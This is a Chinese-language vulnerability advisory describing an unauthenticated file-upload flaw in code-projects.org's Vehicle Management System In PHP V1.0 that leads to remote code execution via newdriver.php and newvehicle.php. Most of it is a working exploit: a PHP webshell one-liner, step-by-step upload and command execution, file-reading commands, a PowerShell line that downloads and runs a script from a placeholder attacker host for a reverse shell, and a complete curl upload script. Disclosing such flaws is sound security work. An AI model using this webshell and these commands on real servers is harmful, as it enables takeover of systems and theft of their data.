| 字段 | 详情 |
|---|---|
| 产品 | Vehicle Management System In PHP |
| 供应商 | code-projects.org |
| 版本 | V1.0 |
| 漏洞类型 | 未限制文件上传导致远程代码执行 (CWE-434) |
| 受影响文件 | newdriver.php, newvehicle.php |
| 参数 | photo (POST, multipart/form-data) |
| 是否需要认证 | 否(未认证) |
| CVSS 分数 | 10.0 严重 |
| 攻击向量 | 远程 / 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
code-projects.org 开发的 Vehicle Management System In PHP V1.0 存在未认证的远程代码执行漏洞,利用方式是 newdriver.php(newvehicle.php 中存在相同的漏洞)中未限制的文件上传。
该应用在 newdriver.php 处暴露了一个仅限管理员使用的“新司机”注册表单,其中包含一个照片上传字段。但是,该端点未进行任何会话验证——任何未认证的攻击者都可以直接访问它,而不会被重定向到登录页面。此外,照片上传字段接受任何文件类型,包括 PHP 文件,没有扩展名过滤、MIME 类型验证或内容检查。
攻击者可以:
newdriver.php/picture/ 目录这将导致以 Web 服务器进程的权限实现完全远程代码执行。
未认证的 HTTP 请求
↓
newdriver.php(无会话检查)
↓
photo 字段接受 .php 文件(无文件类型验证)
↓
shell 被保存到 /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE —— 任意操作系统命令执行
打开一个无会话的新浏览器(无痕/隐私窗口)。直接导航到端点:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
新司机表单成功加载,没有认证检查,也没有重定向到登录页面。
创建一个简单的 PHP 命令执行 webshell:
<?php system($_GET['cmd']); ?>
将其保存为 shell.php(或任何 .php 文件名)。
使用任何值填写司机表单字段,并选择 PHP webshell 作为照片上传:
Driver Name: test
Mobile: 1234567890
Driver Joining Date: 2026-05-19
National ID: test
License No: test
License End Date: 2026-05-30
Driver Address: test
Photo: shell.php ← 在此上传 PHP webshell
点击 Submit Query。
应用响应 "Registration Completed!" —— 确认 PHP shell 已被接受并保存,没有进行任何验证。
导航到位于 /picture/ 目录下的上传 shell,并通过 cmd 参数传递操作系统命令:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
服务器执行命令并返回输出:
desktop-g1i9np3\dell
# 读取敏感文件
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# 列出 Web 根目录
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# 通过 PowerShell 建立完整反向 shell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
newvehicle.php 中存在相同的漏洞。未认证的攻击者可以访问添加新车辆的表单,通过车辆照片字段上传 PHP webshell,并通过相同的方法实现 RCE。
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
两个端点具有相同的根本原因:没有会话验证和没有文件上传限制。
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php 和 newvehicle.php 都存在漏洞| 文件 | 上传字段 | Shell 存储路径 |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
独立安全研究员